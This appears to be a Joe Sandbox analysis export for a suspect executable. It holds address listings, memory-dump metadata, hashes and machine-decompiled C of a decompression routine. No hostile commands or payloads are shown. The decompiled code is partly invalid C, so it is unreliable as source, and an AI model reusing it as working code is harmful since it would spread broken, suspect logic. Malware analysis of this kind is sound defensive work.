0x004061b7
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x00000000
0x004061cd
0x004061d1
0x00000000
0x00000000
0x004061da
0x004061dd
0x004061e0
0x004061e2
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x0040622d
0x00406230
0x00406258
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406232
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624a
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00000000
0x00406b22
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x004062a1
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062a6
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c3
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00000000
0x00406b31
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x00406309
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b1
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069e7
0x004069ee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004069f0
0x004069f0
0x004069f4
0x00406ba3
0x00000000
0x00406ba3
0x00406a00
0x00406a07
0x00406a0f
0x00406a0f
0x00406a0f
0x00406a12
0x00406a15
0x00406a15
0x00000000
0x00000000
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x00000000
0x004063c0
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a3
0x00000000
0x004063a3
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x00000000
0x004065d2
0x004065d6
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065db
0x004065de
0x004065e8
0x00000000
0x00000000
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x00000000
0x00000000
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x004066f0
0x004066f4
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x00000000
0x0040670b
0x004066f6
0x00000000
0x00000000
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x0040662a
0x0040662a
0x0040662d
0x00000000
0x00000000
0x00406969
0x0040696d
0x0040698f
0x00406992
0x0040699c
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00000000
0x00406a5d
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b1a
0x00000000
0x00000000
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00406768
0x0040676b
0x0040676e
0x00406770
0x00406772
0x00406772
0x00406773
0x00406776
0x0040677d
0x00406780
0x0040678e
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00000000
0x00406a73
0x00406a73
0x00406a77
0x00406baf
0x00000000
0x00406baf
0x00406a7d
0x00406a80
0x00406a83
0x00406a87
0x00406a8a
0x00406a90
0x00406a92
0x00406a92
0x00406a92
0x00406a95
0x00406a98
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9b
0x00406a9f
0x00406aff
0x00406b02
0x00406b07
0x00406b08
0x00406b0a
0x00406b0c
0x00406b0f
0x00406a1b
0x00406a1b
0x00000000
0x00406a1b
0x00406aa1
0x00406aa7
0x00406aaa
0x00406aad
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406abf
0x00406ac2
0x00406adb
0x00406ade
0x00406ae1
0x00406ae4
0x00406ae8
0x00406aea
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406acc
0x00406ad1
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af1
0x00406af8
0x00000000
0x00406afa
0x00000000
0x00406afa
0x00000000
0x00406796
0x00406799
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00406bb9
0x00406bbf
0x00406bc1
0x00406bc8
0x00000000
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a98843a46fb9b62412bae302801de079c6452d7d4a4e23dbd568dc37708913b5
Instruction ID: a0ed0051221df213f48a7fa37d6c1b626956e64e776f215132b6db312d3b92b6
Opcode Fuzzy Hash: a98843a46fb9b62412bae302801de079c6452d7d4a4e23dbd568dc37708913b5
Instruction Fuzzy Hash: 10816671D04228DBDF24CFA8C8447ADBBB0FB45301F1181AAD856BB281D7786A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004065D2 Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004065D2() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00406BD6))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
